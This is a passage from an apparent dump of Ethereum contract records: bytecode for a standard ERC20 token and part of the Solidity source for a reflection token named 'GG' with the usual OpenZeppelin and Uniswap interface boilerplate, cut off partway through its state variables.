context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146102d2578063a457c2d7146102f0578063a9059cbb14610320578063dd62ed3e14610350578063f2fde38b1461038057610121565b806370a0823114610254578063715018a61461028457806379cc67901461028e5780638456cb59146102aa5780638da5cb5b146102b457610121565b8063313ce567116100f4578063313ce567146101c257806339509351146101e05780633f4ba83a1461021057806342966c681461021a5780635c975abb1461023657610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192575b600080fd5b61012e61039c565b60405161013b9190611839565b60405180910390f35b61015e6004803603810190610159919061153f565b61042e565b60405161016b919061181e565b60405180910390f35b61017c61044c565b6040516101899190611a1b565b60405180910390f35b6101ac60048036038101906101a791906114f0565b610456565b6040516101b9919061181e565b60405180910390f35b6101ca61054e565b6040516101d79190611a36565b60405180910390f35b6101fa60048036038101906101f5919061153f565b610557565b604051610207919061181e565b60405180910390f35b610218610603565b005b610234600480360381019061022f919061157b565b610689565b005b61023e61069d565b60405161024b919061181e565b60405180910390f35b61026e6004803603810190610269919061148b565b6106b4565b60405161027b9190611a1b565b60405180910390f35b61028c6106fc565b005b6102a860048036038101906102a3919061153f565b610784565b005b6102b26107ff565b005b6102bc610885565b6040516102c99190611803565b60405180910390f35b6102da6108af565b6040516102e79190611839565b60405180910390f35b61030a6004803603810190610305919061153f565b610941565b604051610317919061181e565b60405180910390f35b61033a6004803603810190610335919061153f565b610a2c565b604051610347919061181e565b60405180910390f35b61036a600480360381019061036591906114b4565b610a4a565b6040516103779190611a1b565b60405180910390f35b61039a6004803603810190610395919061148b565b610ad1565b005b6060600380546103ab90611b7f565b80601f01602080910402602001604051908101604052809291908181526020018280546103d790611b7f565b80156104245780601f106103f957610100808354040283529160200191610424565b820191906000526020600020905b81548152906001019060200180831161040757829003601f168201915b5050505050905090565b600061044261043b610bce565b8484610bd6565b6001905092915050565b6000600254905090565b6000610463848484610da1565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ae610bce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561052e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105259061193b565b60405180910390fd5b6105428561053a610bce565b858403610bd6565b60019150509392505050565b60006012905090565b60006105f9610564610bce565b848460016000610572610bce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f49190611a6d565b610bd6565b6001905092915050565b61060b610bce565b73ffffffffffffffffffffffffffffffffffffffff16610629610885565b73ffffffffffffffffffffffffffffffffffffffff161461067f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106769061195b565b60405180910390fd5b610687611022565b565b61069a610694610bce565b826110c4565b50565b6000600560009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610704610bce565b73ffffffffffffffffffffffffffffffffffffffff16610722610885565b73ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f9061195b565b60405180910390fd5b610782600061129b565b565b600061079783610792610bce565b610a4a565b9050818110156107dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d39061197b565b60405180910390fd5b6107f0836107e8610bce565b848403610bd6565b6107fa83836110c4565b505050565b610807610bce565b73ffffffffffffffffffffffffffffffffffffffff16610825610885565b73ffffffffffffffffffffffffffffffffffffffff161461087b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108729061195b565b60405180910390fd5b610883611361565b565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546108be90611b7f565b80601f01602080910402602001604051908101604052809291908181526020018280546108ea90611b7f565b80156109375780601f1061090c57610100808354040283529160200191610937565b820191906000526020600020905b81548152906001019060200180831161091a57829003601f168201915b5050505050905090565b60008060016000610950610bce565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a04906119fb565b60405180910390fd5b610a21610a18610bce565b85858403610bd6565b600191505092915050565b6000610a40610a39610bce565b8484610da1565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ad9610bce565b73ffffffffffffffffffffffffffffffffffffffff16610af7610885565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b449061195b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb4906118bb565b60405180910390fd5b610bc68161129b565b50565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3d906119db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad906118db565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d949190611a1b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e08906119bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e789061185b565b60405180910390fd5b610e8c838383611404565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f09906118fb565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fa59190611a6d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110099190611a1b565b60405180910390a361101c84848461145c565b50505050565b61102a61069d565b611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110609061187b565b60405180910390fd5b6000600560006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6110ad610bce565b6040516110ba9190611803565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b9061199b565b60405180910390fd5b61114082600083611404565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd9061189b565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461121d9190611ac3565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112829190611a1b565b60405180910390a36112968360008461145c565b505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b61136961069d565b156113a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a09061191b565b60405180910390fd5b6001600560006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586113ed610bce565b6040516113fa9190611803565b60405180910390a1565b61140c61069d565b1561144c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114439061191b565b60405180910390fd5b611457838383610bc9565b505050565b505050565b60008135905061147081612000565b92915050565b60008135905061148581612017565b92915050565b60006020828403121561149d57600080fd5b60006114ab84828501611461565b91505092915050565b600080604083850312156114c757600080fd5b60006114d585828601611461565b92505060206114e685828601611461565b9150509250929050565b60008060006060848603121561150557600080fd5b600061151386828701611461565b935050602061152486828701611461565b925050604061153586828701611476565b9150509250925092565b6000806040838503121561155257600080fd5b600061156085828601611461565b925050602061157185828601611476565b9150509250929050565b60006020828403121561158d57600080fd5b600061159b84828501611476565b91505092915050565b6115ad81611af7565b82525050565b6115bc81611b09565b82525050565b60006115cd82611a51565b6115d78185611a5c565b93506115e7818560208601611b4c565b6115f081611c0f565b840191505092915050565b6000611608602383611a5c565b915061161382611c20565b604082019050919050565b600061162b601483611a5c565b915061163682611c6f565b602082019050919050565b600061164e602283611a5c565b915061165982611c98565b604082019050919050565b6000611671602683611a5c565b915061167c82611ce7565b604082019050919050565b6000611694602283611a5c565b915061169f82611d36565b604082019050919050565b60006116b7602683611a5c565b91506116c282611d85565b604082019050919050565b60006116da601083611a5c565b91506116e582611dd4565b602082019050919050565b60006116fd602883611a5c565b915061170882611dfd565b604082019050919050565b6000611720602083611a5c565b915061172b82611e4c565b602082019050919050565b6000611743602483611a5c565b915061174e82611e75565b604082019050919050565b6000611766602183611a5c565b915061177182611ec4565b604082019050919050565b6000611789602583611a5c565b915061179482611f13565b604082019050919050565b60006117ac602483611a5c565b91506117b782611f62565b604082019050919050565b60006117cf602583611a5c565b91506117da82611fb1565b604082019050919050565b6117ee81611b35565b82525050565b6117fd81611b3f565b82525050565b600060208201905061181860008301846115a4565b92915050565b600060208201905061183360008301846115b3565b92915050565b6000602082019050818103600083015261185381846115c2565b905092915050565b60006020820190508181036000830152611874816115fb565b9050919050565b600060208201905081810360008301526118948161161e565b9050919050565b600060208201905081810360008301526118b481611641565b9050919050565b600060208201905081810360008301526118d481611664565b9050919050565b600060208201905081810360008301526118f481611687565b9050919050565b60006020820190508181036000830152611914816116aa565b9050919050565b60006020820190508181036000830152611934816116cd565b9050919050565b60006020820190508181036000830152611954816116f0565b9050919050565b6000602082019050818103600083015261197481611713565b9050919050565b6000602082019050818103600083015261199481611736565b9050919050565b600060208201905081810360008301526119b481611759565b9050919050565b600060208201905081810360008301526119d48161177c565b9050919050565b600060208201905081810360008301526119f48161179f565b9050919050565b60006020820190508181036000830152611a14816117c2565b9050919050565b6000602082019050611a3060008301846117e5565b92915050565b6000602082019050611a4b60008301846117f4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a7882611b35565b9150611a8383611b35565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ab857611ab7611bb1565b5b828201905092915050565b6000611ace82611b35565b9150611ad983611b35565b925082821015611aec57611aeb611bb1565b5b828203905092915050565b6000611b0282611b15565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b6a578082015181840152602081019050611b4f565b83811115611b79576000848401525b50505050565b60006002820490506001821680611b9757607f821691505b60208210811415611bab57611baa611be0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61200981611af7565b811461201457600080fd5b50565b61202081611b35565b811461202b57600080fd5b5056fea26469706673582212202cd2c22b517769f80b76a191a47024389de737d1eb7e1616f0622afd5a31e90864736f6c63430008020033
[ 38 ]
0xf2c638cE232c21bc4E97c0D663C7594c56B6c9E7
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementarion contract GG is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; address DEAD = 0x000000000000000000000000000000000000dEaD; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % 